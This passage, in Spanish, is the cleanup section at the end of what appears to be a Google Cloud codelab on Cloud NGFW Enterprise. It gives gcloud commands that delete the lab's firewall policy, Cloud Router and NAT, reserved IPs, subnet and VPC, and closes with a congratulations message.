gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Borra Cloud Router y Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Borra las direcciones IP reservadas:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Por último, borra la subred y la red de VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. ¡Felicitaciones!
Felicitaciones, completaste correctamente el codelab Cloud NGFW Enterprise para inspección este-oeste y norte-sur.